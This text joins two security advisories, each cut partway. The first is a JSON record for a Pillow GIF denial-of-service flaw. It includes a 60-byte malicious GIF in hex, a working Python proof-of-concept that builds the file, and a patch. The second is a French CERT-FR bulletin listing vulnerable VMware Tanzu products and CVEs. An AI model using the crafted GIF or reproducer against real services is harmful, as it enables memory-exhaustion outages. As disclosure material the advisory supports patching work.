"details": "```\n============================================================================\nGIF seek keeps rejected size after DecompressionBombError, allowing DoS\nLocation: src/PIL/GifImagePlugin.py:293 in GifImageFile._seek()\nCommit: a707c6b21c313880d0771e54965d142dd42358b6\n============================================================================\n```\n\nA GIF of about 60 bytes can make Pillow allocate gigabytes of memory. This affects applications that catch the \"image too large\" error raised while stepping to a later animation frame and then keep using the same image object. Pillow correctly refuses the oversized frame, but it stores the refused dimensions on the image object anyway, and later operations size their memory from them. An attacker who can upload a GIF to such a service can exhaust its memory: the process either fails with an out-of-memory error after committing gigabytes, or is killed by the operating system. There is no memory corruption.\n\nThe bug is in `GifImageFile._seek()` (`src/PIL/GifImagePlugin.py:292-294`). When a frame\u0027s extent enlarges the image, the code assigns the new size to `self._size` and only then calls `Image._decompression_bomb_check()`. Nothing restores the old size when `DecompressionBombError` is raised, because `seek()` only rolls back on `EOFError`. After the caught error, `im.size` reports the rejected size while the pixel buffer `im.im` is still the 1\u00d71 first frame. Because the extent is a 16-bit offset plus a 16-bit size, that rejected size can be as large as 131070\u00d7131070.\n\nIn the attached reproducer, the rejected size is 40000\u00d740000. A retried `seek(1)` followed by `load()` then reaches `load_prepare()`, which calls `Image.core.fill()` with that size to decode a single pixel. Peak memory rises from 17 MiB to 1700 MiB before a 3 GiB address-space cap stops the next allocation. `Image.new(\"RGB\", im.size, ...)` and `rotate(..., expand=True)` also allocate from the stale size.\n\nThe default paths are unaffected: plain `Image.open()` plus `load()`, `ImageSequence.Iterator`, and `n_frames`/`is_animated`. The ordering was introduced in c9f1b35e9810 (\"Added GIF decompression bomb check\", 2022-06-30, first released in 9.2.0), the check added for CVE-2022-45198. The two dispose-extent checks later in the same function already validate before using the size, and the attached patch makes this check follow the same order.\n\n## Details\n\n`GifImageFile._seek()` lets a later frame enlarge the image, and performs the\ndecompression-bomb check for the new size only *after* storing it on the object:\n\n```python\n# src/PIL/GifImagePlugin.py:289-294 (GifImageFile._seek)\nx0, y0 = i16(s, 0), i16(s, 2)\nx1, y1 = x0 + i16(s, 4), y0 + i16(s, 6)\nif (x1 \u003e self.size[0] or y1 \u003e self.size[1]) and update_image:\n self._size = max(x1, self.size[0]), max(y1, self.size[1]) # state mutated\n Image._decompression_bomb_check(self._size) # ...then validated\n```\n\n`_decompression_bomb_check()` (`src/PIL/Image.py:3586`) raises\n`DecompressionBombError` for anything above `2 * MAX_IMAGE_PIXELS`\n(178 956 970 px by default), but by then `self._size` already holds the rejected\nvalue and nothing restores it: `seek()` (`GifImagePlugin.py:166-179`) only rolls\nback on `EOFError`, and `_seek(0)` only ever grows `_size`. The object that the\napplication still holds therefore reports `im.size == (40000, 40000)` while\n`im.im` is the 1\u00d71 buffer of frame 0. Compare the two dispose-extent checks a\nfew lines further down in the same function (`GifImagePlugin.py:383` and `:407`),\nwhich call `_decompression_bomb_check(dispose_size)` *before* the corresponding\n`Image.core.fill()`, and `TiffImagePlugin.load_prepare()`\n(`src/PIL/TiffImagePlugin.py:1319-1321`), which checks `_tile_size` before\nallocating from it.\n\nWith this 60-byte GIF (hex)\n\n```\n47494638396101000100800000000000ffffff GIF89a, 1x1 screen, 2-entry global palette\n2c000000000100010000 02 024401 00 frame 0: 1x1 @ (0,0), LZW data\n2c00000000409c409c00 frame 1 descriptor: 40000x40000 @ (0,0)\n2c000000000100010000 02 024401 00 another 1x1 frame\n3b trailer\n```\n\n`Image.open()` succeeds (`im.size == (1, 1)`), `im.seek(1)` raises\n`DecompressionBombError: Image size (1600000000 pixels) exceeds limit of\n178956970 pixels`, and afterwards `im.size == (40000, 40000)`,\n`im.im.size == (1, 1)`, `im.tell() == 0`.\n\nWhat happens next depends on what the application does with the object, but\nseveral ordinary operations take their dimensions from `im.size` rather than\nfrom the C buffer:\n\n- Retrying `im.seek(1)`. The failed `_seek` left `self.__offset == 0` and the\n file pointer just past the 9-byte descriptor, so the retry parses whatever\n follows \u2014 in the file above, a valid 1\u00d71 frame \u2014 and succeeds. `im.load()`\n then runs `GifImageFile.load_prepare()`:\n ```python\n # src/PIL/GifImagePlugin.py:452-456\n elif self.mode in (\"RGB\", \"RGBA\"):\n self._prev_im = self.im\n if self._frame_palette:\n self.im = Image.core.fill(\"P\", self.size, self._frame_transparency or 0)\n ```\n which allocates and `memset`s a 40000\u00d740000 \"P\" image (1.6 GB) to decode a\n 1\u00d71 tile into, and `load_end()` (`GifImagePlugin.py:485-491`) fills a second\n one and converts it to RGB (another 1.6 GB + 6.4 GB).\n- `im.rotate(angle, expand=True)` for a non-multiple-of-90 angle, or the\n common flatten-onto-background idiom `Image.new(\"RGB\", im.size, bg)`, allocate\n from `im.size` as well (measured on an object poisoned to 20000\u00d720000:\n `rotate(45, expand=True)` completes and touches 776 MiB;\n `Image.new(\"RGB\", im.size, \"white\")` touches 1.5 GiB). Operations that pass\n `im.size` as a box against the real buffer (`thumbnail`, `resize`, `save`)\n fail with `ValueError`/`SystemError` instead.\n\nThe extent fields are 16-bit offset plus 16-bit size, so the stored size can be\npushed to 131070\u00d7131070 (17.2 Gpx; 17 GB for mode \"P\", 69 GB for \"RGB\"/\"RGBA\"\nstorage), 96\u00d7 the error threshold.\n\n`n_frames` / `is_animated` are not affected: they call\n`_seek(frame, update_image=False)`, which skips the `_size` assignment (the file\nabove reports `n_frames == 2`, `is_animated == True` and leaves `im.size` at\n1\u00d71).\n\n## Impact\n\nA remote user who can upload a GIF to a service that (a) seeks animation frames\nand (b) catches the exception from `seek()` \u2014 a broad `except Exception` around\na `while True: im.seek(im.tell()+1)` frame-collection loop, or an explicit\n`except DecompressionBombError: log and continue` \u2014 and then keeps using the\nsame `Image` object, ends up driving allocations of 1.6 GB to tens of GB from a\n60-byte file: `MemoryError` after the process has committed gigabytes, or an\nOOM kill of the worker when no address-space limit is set. The\n`MAX_IMAGE_PIXELS` guard fires, but does not actually keep the rejected\ndimensions out of the object it is guarding.\n\nThe precondition is real application behaviour but not the default path:\n`Image.open(); im.load()` is unaffected, and `ImageSequence.Iterator` propagates\nthe error out of the `for` statement (a `try` inside the loop body does not\nswallow it). Hence low severity. This is adjacent to the GIF extent bomb check\nadded for CVE-2022-45198: the ordering was introduced with that check in\n`c9f1b35e9810` (\"Added GIF decompression bomb check\", 2022-06-30), first\nreleased in Pillow 9.2.0. Before it, the same size growth happened with no\ncheck at all; the check introduced there is the one that runs too late.\n\n## Reproducing\n\n`repro` is a single Python script run against the installed Pillow. It needs\nabout 1.7 GB of free RAM.\n\n1. **`setup_env()`** caps the process address space at 3 GiB with\n `RLIMIT_AS`, so the oversized allocations end in `MemoryError` instead of\n the OOM killer. It then opens the 60-byte GIF shown above, built in memory\n by `bomb_gif()`. The GIF contains a 1\u00d71 screen and a 1\u00d71 frame 0, so\n `Image.open()` passes its own bomb check. Next comes a bare frame-1 image\n descriptor that declares 40000\u00d740000 (1.6 Gpx, about 9\u00d7 the error\n threshold). A real 1\u00d71 frame follows it.\n2. **`poc()`** calls `im.seek(1)` and catches `DecompressionBombError`, the way\n an application that skips bad frames would.\n3. **First check: the state is inconsistent.** The script prints `im.size` next\n to the real pixel buffer `im.im.size`. If the rejected frame had left the\n object unchanged, both would be `(1, 1)`. On the affected code `im.size` is\n `(40000, 40000)`.\n4. **Second check: memory use.** The script retries `im.seek(1)`, which now\n parses the trailing 1\u00d71 frame, and calls `im.load()`. It prints the\n process\u0027s peak RSS before and after. `load_prepare()` sizes its\n `Image.core.fill()` from `im.size`, so loading a single pixel fills a\n 1.6 GB buffer before the 3 GiB cap stops the next allocation.\n\nExpected output on the affected tree:\n\n```\nopen(): 60-byte GIF, size=(1, 1)\nseek(1) raised as intended: Image size (1600000000 pixels) exceeds limit of 178956970 pixels, could be decompression bomb DOS attack.\nafter the caught error: im.size=(40000, 40000), pixel buffer im.im.size=(1, 1)\nseek(1) + load() of a 1x1 frame: MemoryError at the 3 GiB cap; peak RSS 18 MiB -\u003e 1700 MiB\nBUG\n```\n\nThe script prints `BUG` only if both checks hold: the over-limit size stayed\non the object after the exception, and peak RSS grew by more than 1000 MiB\nwhile loading a 1\u00d71 frame. Otherwise it prints `OK`. With the attached patch\napplied, it prints `im.size=(1, 1)`, peak RSS stays at about 23 MiB, and the\nlast line is `OK`.\n\n## Suggested fix\n\nThe attached patch validates before mutating in `GifImageFile._seek()`\n(`src/PIL/GifImagePlugin.py:292-294`): the enlarged extent is computed into a\nlocal, passed to `_decompression_bomb_check()`, and only then assigned to\n`self._size`, matching the order of the two `dispose_size` checks further down\nthe same function. A rejected frame therefore leaves the object in its pre-seek\nstate; valid files behave as before, and the exception is still raised at the\nsame point:\n\n```diff\n--- a/src/PIL/GifImagePlugin.py\n+++ b/src/PIL/GifImagePlugin.py\n@@ -290,8 +290,9 @@ class GifImageFile(ImageFile.ImageFile):\n x0, y0 = i16(s, 0), i16(s, 2)\n x1, y1 = x0 + i16(s, 4), y0 + i16(s, 6)\n if (x1 \u003e self.size[0] or y1 \u003e self.size[1]) and update_image:\n- self._size = max(x1, self.size[0]), max(y1, self.size[1])\n- Image._decompression_bomb_check(self._size)\n+ size = max(x1, self.size[0]), max(y1, self.size[1])\n+ Image._decompression_bomb_check(size)\n+ self._size = size\n frame_dispose_extent = x0, y0, x1, y1\n flags = s[8]\n```\n\n`n_frames` / `is_animated` go through `update_image=False` and are unaffected.\nThe patch also extends `test_exception_gif_extents` in\n`Tests/test_decompression_bomb.py` to assert that `im.size` is unchanged after\nthe `DecompressionBombError`. It does not change `seek()` itself; optionally,\n`seek()` could also treat `DecompressionBombError` like `EOFError` and re-seek\nto `last_frame`, so that a retried `seek()` does not resume parsing from the\nmiddle of the rejected frame.\n\n## The patch\n\nGIF: run the decompression bomb check on an enlarging frame\u0027s extent before storing it in self._size\n\nApplies to `src/PIL/GifImagePlugin.py` at the commit above.\n\n```diff\ndiff --git a/Tests/test_decompression_bomb.py b/Tests/test_decompression_bomb.py\nindex 98d833736..83cc785fc 100644\n--- a/Tests/test_decompression_bomb.py\n+++ b/Tests/test_decompression_bomb.py\n@@ -63,6 +63,9 @@ class TestDecompressionBomb:\n with pytest.raises(Image.DecompressionBombError):\n im.seek(1)\n \n+ # The rejected frame should not have changed the image size\n+ assert im.size == (100, 100)\n+\n def test_exception_gif_zero_width(self, monkeypatch: pytest.MonkeyPatch) -\u003e None:\n # Set limit to trigger exception on the test file\n monkeypatch.setattr(Image, \"MAX_IMAGE_PIXELS\", 4 * 64 * 128)\ndiff --git a/src/PIL/GifImagePlugin.py b/src/PIL/GifImagePlugin.py\nindex 11fb180fc..f9bda06c2 100644\n--- a/src/PIL/GifImagePlugin.py\n+++ b/src/PIL/GifImagePlugin.py\n@@ -290,8 +290,9 @@ class GifImageFile(ImageFile.ImageFile):\n x0, y0 = i16(s, 0), i16(s, 2)\n x1, y1 = x0 + i16(s, 4), y0 + i16(s, 6)\n if (x1 \u003e self.size[0] or y1 \u003e self.size[1]) and update_image:\n- self._size = max(x1, self.size[0]), max(y1, self.size[1])\n- Image._decompression_bomb_check(self._size)\n+ size = max(x1, self.size[0]), max(y1, self.size[1])\n+ Image._decompression_bomb_check(size)\n+ self._size = size\n frame_dispose_extent = x0, y0, x1, y1\n flags = s[8]\n```\n\n## The reproducer\n\n\u003cdetails\u003e\n\u003csummary\u003eReproducer \u2014 \u003ccode\u003erepro\u003c/code\u003e, 2,474 bytes (click to open)\u003c/summary\u003e\n\nIts last line is `BUG` when the issue triggers and `OK` when it does not. Re-run on a clean build of that commit it printed `BUG`.\n\n```python\n#!/usr/bin/env python3\n# GifImageFile._seek() stores a frame\u0027s enlarged size in self._size and only\n# *then* runs the decompression-bomb check. The check raises, but the object\n# keeps the rejected 40000x40000 size over its real 1x1 pixel buffer, and the\n# next load() allocates from that size: 1.6+ GB for a 60-byte GIF.\nimport io\nimport resource\nimport struct\n\nfrom PIL import Image\n\nBOMB = 40000 # 40000x40000 = 1.6 Gpx, ~9x the DecompressionBombError threshold\nLIMIT = 2 * Image.MAX_IMAGE_PIXELS\n\n\ndef frame_1x1():\n # image descriptor at (0,0) 1x1, then a 1-pixel LZW stream\n return b\",\" + struct.pack(\"\u003cHHHHB\", 0, 0, 1, 1, 0) + b\"\\x02\\x02\\x44\\x01\\x00\"\n\n\ndef bomb_gif():\n return (\n b\"GIF89a\" + struct.pack(\"\u003cHHBBB\", 1, 1, 0x80, 0, 0) + b\"\\x00\" * 3 + b\"\\xff\" * 3\n + frame_1x1() # frame 0: 1x1, passes open()\n + b\",\" + struct.pack(\"\u003cHHHHB\", 0, 0, BOMB, BOMB, 0) # frame 1 claims 40000x40000\n + frame_1x1() # a real 1x1 frame follows\n + b\";\"\n )\n\n\ndef peak_rss_mib():\n return resource.getrusage(resource.RUSAGE_SELF).ru_maxrss // 1024\n\n\ndef setup_env():\n # Cap the address space so the oversized allocations end in MemoryError\n # instead of the OOM killer.\n resource.setrlimit(resource.RLIMIT_AS, (3 \u003c\u003c 30, 3 \u003c\u003c 30))\n data = bomb_gif()\n im = Image.open(io.BytesIO(data))\n print(f\"open(): {len(data)}-byte GIF, size={im.size}\")\n return im\n\n\ndef poc(im):\n # An application skips the bomb frame and keeps going.\n try:\n im.seek(1)\n except Image.DecompressionBombError as e:\n print(f\"seek(1) raised as intended: {e}\")\n return True\n return False\n\n\nim = setup_env()\nraised = poc(im)\n\n# Expected: a rejected frame leaves the object as it was (size == buffer == 1x1).\nprint(f\"after the caught error: im.size={im.size}, pixel buffer im.im.size={im.im.size}\")\npoisoned = raised and im.size[0] * im.size[1] \u003e LIMIT and im.im.size == (1, 1)\n\n# Effect: retrying the seek lands on the real 1x1 frame, but load() sizes its\n# buffers from the poisoned im.size.\nbefore = peak_rss_mib()\nim.seek(1)\ntry:\n im.load()\n outcome = \"completed\"\nexcept MemoryError:\n outcome = \"MemoryError at the 3 GiB cap\"\nafter = peak_rss_mib()\nprint(f\"seek(1) + load() of a 1x1 frame: {outcome}; peak RSS {before} MiB -\u003e {after} MiB\")\nballooned = after - before \u003e 1000\n\nprint(\"BUG\" if poisoned and ballooned else \"OK\")\n```\n\u003c/details\u003e\n\n---",
"id": "BREW-aider-CVE-2026-112400",
"modified": "2026-10-29T21:58:11Z",
"published": "2026-10-21T09:14:41Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-65qm-jvmh-6pqg"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-112400"
},
{
"type": "WEB",
"url": "https://github.com/python-pillow/Pillow/commit/6faed707cfb760a4cbd726ddc8406f576cf35bf7"
},
{
"type": "PACKAGE",
"url": "https://github.com/python-pillow/Pillow"
},
{
"type": "WEB",
"url": "https://github.com/python-pillow/Pillow/releases/tag/13.0.0"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Pillow: GIF seek keeps rejected size after DecompressionBombError, allowing DoS",
"upstream": [
"GHSA-65qm-jvmh-6pqg",
"CVE-2026-112400",
"BIT-pillow-2026-112400"
]
}
CERTFR-2026-AVI-1486
Vulnerability from certfr_avis - Published: 2026-11-09 - Updated: 2026-11-09
De multiples vulnérabilités ont été découvertes dans les produits VMware. Elles permettent à un attaquant de provoquer un problème de sécurité non spécifié par l'éditeur.
Solutions
Se référer au bulletin de sécurité de l'éditeur pour l'obtention des correctifs (cf. section Documentation).
| Vendor | Product | Description | ||
|---|---|---|---|---|
| VMware | N/A | VMware Tanzu RabbitMQ pour Kubernetes versions antérieures à 4.2.12 | ||
| VMware | N/A | VMware Tanzu RabbitMQ versions antérieures à 3.13.21 | ||
| VMware | N/A | VMware Tanzu Application Platform versions antérieures à 1.12.8 | ||
| VMware | N/A | VMware Tanzu for Valkey pour Kubernetes versions antérieures à 3.6.0 | ||
| VMware | N/A | VMware Tanzu for Postgres pour Kubernetes versions antérieures à 4.6.0 | ||
| VMware | N/A | VMware Tanzu RabbitMQ pour Kubernetes versions antérieures à 4.3.7 | ||
| VMware | N/A | VMware Tanzu Greenplum versions antérieures à 6.34.0 | ||
| VMware | N/A | VMware Tanzu RabbitMQ versions antérieures à 4.3.7 | ||
| VMware | N/A | VMware Tanzu RabbitMQ versions antérieures à 4.1.17 | ||
| VMware | N/A | VMware Tanzu Greenplum Command Center versions antérieures à 6.18.0 | ||
| VMware | N/A | VMware Tanzu Greenplum versions antérieures à 7.9.0 | ||
| VMware | N/A | VMware Tanzu GemFire versions antérieures à 10.2.9 | ||
| VMware | N/A | VMware Tanzu RabbitMQ pour Kubernetes versions antérieures à 3.13.21 | ||
| VMware | N/A | VMware Tanzu GemFire pour Kubernetes versions antérieures à 2.6.4 | ||
| VMware | N/A | VMware Tanzu Greenplum MCP Server versions antérieures à 1.1.0 | ||
| VMware | N/A | VMware Tanzu GemFire versions antérieures à 10.1.10 | ||
| VMware | N/A | VMware Tanzu Greenplum Platform Extension Framework versions antérieures à 8.1.0 | ||
| VMware | N/A | VMware Tanzu RabbitMQ pour Kubernetes versions antérieures à 4.1.17 | ||
| VMware | N/A | VMware Tanzu RabbitMQ versions antérieures à 4.2.12 | ||
| VMware | N/A | VMware Tanzu for MySQL pour Kubernetes versions antérieures à 2.0.6 | ||
| VMware | N/A | VMware Tanzu GemFire versions antérieures à 10.3.3 | ||
| VMware | N/A | VMware Tanzu GemFire Management Console versions antérieures à 1.5.0 | ||
| VMware | N/A | VMware Tanzu Data Flow pour Kubernetes versions antérieures à 2.1.7 | ||
| VMware | N/A | VMware Tanzu Greenplum Streaming Server versions antérieures à 2.4.0 | ||
| VMware | N/A | VMware Tanzu GemFire Vector Database versions antérieures à 1.2.3 | ||
| VMware | N/A | VMware Tanzu Greenplum Data Copy Utility versions antérieures à 2.9.8 | ||
| VMware | N/A | VMware Tanzu Greenplum pour Kubernetes versions antérieures à 1.2.0 | ||
| VMware | N/A | VMware Tanzu Greenplum Command Center versions antérieures à 7.8.0 | ||
| VMware | N/A | VMware Tanzu GemFire .NET Client versions antérieures à 1.0.3 | ||
| VMware | N/A | VMware Tanzu Greenplum Backup and Restore versions antérieures à 1.34.0 | ||
| VMware | N/A | Vmware Spring Cloud Gateway pour Kubernetes versions antérieures à 2.3.0 | ||
| VMware | N/A | VMware Tanzu GemFire Session Management versions antérieures à 2.0.1 | ||
| VMware | N/A | VMware Tanzu Greenplum Text versions antérieures à 4.1.0 | ||
| VMware | N/A | VMware Tanzu Greenplum Streaming Server versions antérieures à 1.4.0 | ||
| VMware | N/A | SQL Assistant for VMware Tanzu Data Intelligence versions antérieures à 1.1.0 |
{
"$ref": "https://www.cert.ssi.gouv.fr/openapi.json",
"affected_systems": [
{
"description": "VMware Tanzu RabbitMQ pour Kubernetes versions ant\u00e9rieures \u00e0 4.2.12",
"product": {
"name": "N/A",
"vendor": {
"name": "VMware",
"scada": false
}
}
},
{
"description": "VMware Tanzu RabbitMQ versions ant\u00e9rieures \u00e0 3.13.21",
"product": {
"name": "N/A",
"vendor": {
"name": "VMware",
"scada": false
}
}
},
{
"description": "VMware Tanzu Application Platform versions ant\u00e9rieures \u00e0 1.12.8",
"product": {
"name": "N/A",
"vendor": {
"name": "VMware",
"scada": false
}
}
},
{
"description": "VMware Tanzu for Valkey pour Kubernetes versions ant\u00e9rieures \u00e0 3.6.0",
"product": {
"name": "N/A",
"vendor": {
"name": "VMware",
"scada": false
}
}
},
{
"description": "VMware Tanzu for Postgres pour Kubernetes versions ant\u00e9rieures \u00e0 4.6.0",
"product": {
"name": "N/A",
"vendor": {
"name": "VMware",
"scada": false
}
}
},
{
"description": "VMware Tanzu RabbitMQ pour Kubernetes versions ant\u00e9rieures \u00e0 4.3.7",
"product": {
"name": "N/A",
"vendor": {
"name": "VMware",
"scada": false
}
}
},
{
"description": "VMware Tanzu Greenplum versions ant\u00e9rieures \u00e0 6.34.0",
"product": {
"name": "N/A",
"vendor": {
"name": "VMware",
"scada": false
}
}
},
{
"description": "VMware Tanzu RabbitMQ versions ant\u00e9rieures \u00e0 4.3.7",
"product": {
"name": "N/A",
"vendor": {
"name": "VMware",
"scada": false
}
}
},
{
"description": "VMware Tanzu RabbitMQ versions ant\u00e9rieures \u00e0 4.1.17",
"product": {
"name": "N/A",
"vendor": {
"name": "VMware",
"scada": false
}
}
},
{
"description": "VMware Tanzu Greenplum Command Center versions ant\u00e9rieures \u00e0 6.18.0",
"product": {
"name": "N/A",
"vendor": {
"name": "VMware",
"scada": false
}
}
},
{
"description": "VMware Tanzu Greenplum versions ant\u00e9rieures \u00e0 7.9.0",
"product": {
"name": "N/A",
"vendor": {
"name": "VMware",
"scada": false
}
}
},
{
"description": "VMware Tanzu GemFire versions ant\u00e9rieures \u00e0 10.2.9",
"product": {
"name": "N/A",
"vendor": {
"name": "VMware",
"scada": false
}
}
},
{
"description": "VMware Tanzu RabbitMQ pour Kubernetes versions ant\u00e9rieures \u00e0 3.13.21",
"product": {
"name": "N/A",
"vendor": {
"name": "VMware",
"scada": false
}
}
},
{
"description": "VMware Tanzu GemFire pour Kubernetes versions ant\u00e9rieures \u00e0 2.6.4",
"product": {
"name": "N/A",
"vendor": {
"name": "VMware",
"scada": false
}
}
},
{
"description": "VMware Tanzu Greenplum MCP Server versions ant\u00e9rieures \u00e0 1.1.0",
"product": {
"name": "N/A",
"vendor": {
"name": "VMware",
"scada": false
}
}
},
{
"description": "VMware Tanzu GemFire versions ant\u00e9rieures \u00e0 10.1.10",
"product": {
"name": "N/A",
"vendor": {
"name": "VMware",
"scada": false
}
}
},
{
"description": "VMware Tanzu Greenplum Platform Extension Framework versions ant\u00e9rieures \u00e0 8.1.0",
"product": {
"name": "N/A",
"vendor": {
"name": "VMware",
"scada": false
}
}
},
{
"description": "VMware Tanzu RabbitMQ pour Kubernetes versions ant\u00e9rieures \u00e0 4.1.17",
"product": {
"name": "N/A",
"vendor": {
"name": "VMware",
"scada": false
}
}
},
{
"description": "VMware Tanzu RabbitMQ versions ant\u00e9rieures \u00e0 4.2.12",
"product": {
"name": "N/A",
"vendor": {
"name": "VMware",
"scada": false
}
}
},
{
"description": "VMware Tanzu for MySQL pour Kubernetes versions ant\u00e9rieures \u00e0 2.0.6",
"product": {
"name": "N/A",
"vendor": {
"name": "VMware",
"scada": false
}
}
},
{
"description": "VMware Tanzu GemFire versions ant\u00e9rieures \u00e0 10.3.3",
"product": {
"name": "N/A",
"vendor": {
"name": "VMware",
"scada": false
}
}
},
{
"description": "VMware Tanzu GemFire Management Console versions ant\u00e9rieures \u00e0 1.5.0",
"product": {
"name": "N/A",
"vendor": {
"name": "VMware",
"scada": false
}
}
},
{
"description": "VMware Tanzu Data Flow pour Kubernetes versions ant\u00e9rieures \u00e0 2.1.7",
"product": {
"name": "N/A",
"vendor": {
"name": "VMware",
"scada": false
}
}
},
{
"description": "VMware Tanzu Greenplum Streaming Server versions ant\u00e9rieures \u00e0 2.4.0",
"product": {
"name": "N/A",
"vendor": {
"name": "VMware",
"scada": false
}
}
},
{
"description": "VMware Tanzu GemFire Vector Database versions ant\u00e9rieures \u00e0 1.2.3",
"product": {
"name": "N/A",
"vendor": {
"name": "VMware",
"scada": false
}
}
},
{
"description": "VMware Tanzu Greenplum Data Copy Utility versions ant\u00e9rieures \u00e0 2.9.8",
"product": {
"name": "N/A",
"vendor": {
"name": "VMware",
"scada": false
}
}
},
{
"description": "VMware Tanzu Greenplum pour Kubernetes versions ant\u00e9rieures \u00e0 1.2.0",
"product": {
"name": "N/A",
"vendor": {
"name": "VMware",
"scada": false
}
}
},
{
"description": "VMware Tanzu Greenplum Command Center versions ant\u00e9rieures \u00e0 7.8.0",
"product": {
"name": "N/A",
"vendor": {
"name": "VMware",
"scada": false
}
}
},
{
"description": "VMware Tanzu GemFire .NET Client versions ant\u00e9rieures \u00e0 1.0.3",
"product": {
"name": "N/A",
"vendor": {
"name": "VMware",
"scada": false
}
}
},
{
"description": "VMware Tanzu Greenplum Backup and Restore versions ant\u00e9rieures \u00e0 1.34.0",
"product": {
"name": "N/A",
"vendor": {
"name": "VMware",
"scada": false
}
}
},
{
"description": "Vmware Spring Cloud Gateway pour Kubernetes versions ant\u00e9rieures \u00e0 2.3.0",
"product": {
"name": "N/A",
"vendor": {
"name": "VMware",
"scada": false
}
}
},
{
"description": "VMware Tanzu GemFire Session Management versions ant\u00e9rieures \u00e0 2.0.1",
"product": {
"name": "N/A",
"vendor": {
"name": "VMware",
"scada": false
}
}
},
{
"description": "VMware Tanzu Greenplum Text versions ant\u00e9rieures \u00e0 4.1.0",
"product": {
"name": "N/A",
"vendor": {
"name": "VMware",
"scada": false
}
}
},
{
"description": "VMware Tanzu Greenplum Streaming Server versions ant\u00e9rieures \u00e0 1.4.0",
"product": {
"name": "N/A",
"vendor": {
"name": "VMware",
"scada": false
}
}
},
{
"description": "SQL Assistant for VMware Tanzu Data Intelligence versions ant\u00e9rieures \u00e0 1.1.0",
"product": {
"name": "N/A",
"vendor": {
"name": "VMware",
"scada": false
}
}
}
],
"affected_systems_content": "",
"content": "## Solutions\n\nSe r\u00e9f\u00e9rer au bulletin de s\u00e9curit\u00e9 de l\u0027\u00e9diteur pour l\u0027obtention des correctifs (cf. section Documentation).",
"cves": [
{
"name": "CVE-2025-6395",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-6395"
},
{
"name": "CVE-2026-90828",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-90828"
},
{
"name": "CVE-2026-75595",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-75595"
},
{
"name": "CVE-2026-14671",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-14671"
},
{
"name": "CVE-2026-14380",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-14380"
},
{
"name": "CVE-2026-12061",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-12061"
},
{
"name": "CVE-2026-53910",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-53910"
},
{
"name": "CVE-2026-54293",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54293"
},
{
"name": "CVE-2025-8715",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-8715"
},
{
"name": "CVE-2026-56404",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-56404"
},
{
"name": "CVE-2026-58055",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-58055"
},
{
"name": "CVE-2026-49978",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-49978"
},
{
"name": "CVE-2025-66506",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-66506"
},
{
"name": "CVE-2022-27943",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-27943"
},
{
"name": "CVE-2025-66865",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-66865"
},
{
"name": "CVE-2026-32777",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-32777"
},
{
"name": "CVE-2026-70007",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-70007"
},
{
"name": "CVE-2026-93565",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-93565"
},
{
"name": "CVE-2025-61730",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-61730"
},
{
"name": "CVE-2026-54369",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54369"
},
{
"name": "CVE-2026-27135",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-27135"
},
{
"name": "CVE-2026-47221",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-47221"
},
{
"name": "CVE-2026-97206",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-97206"
},
{
"name": "CVE-2025-3264",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-3264"
},
{
"name": "CVE-2025-53547",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-53547"
},
{
"name": "CVE-2026-47204",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-47204"
},
{
"name": "CVE-2026-42308",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42308"
},
{
"name": "CVE-2026-12252",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-12252"
},
{
"name": "CVE-2026-100666",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-100666"
},
{
"name": "CVE-2025-31115",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-31115"
},
{
"name": "CVE-2025-58183",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-58183"
},
{
"name": "CVE-2026-82417",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-82417"
},
{
"name": "CVE-2025-15282",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-15282"
},
{
"name": "CVE-2018-1115",
"url": "https://www.cve.org/CVERecord?id=CVE-2018-1115"
},
{
"name": "CVE-2026-71890",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-71890"
},
{
"name": "CVE-2026-48776",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-48776"
},
{
"name": "CVE-2026-93494",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-93494"
},
{
"name": "CVE-2025-58190",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-58190"
},
{
"name": "CVE-2026-33947",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-33947"
},
{
"name": "CVE-2026-4878",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-4878"
},
{
"name": "CVE-2026-11940",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-11940"
},
{
"name": "CVE-2026-17106",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-17106"
},
{
"name": "CVE-2026-27205",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-27205"
},
{
"name": "CVE-2026-59205",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-59205"
},
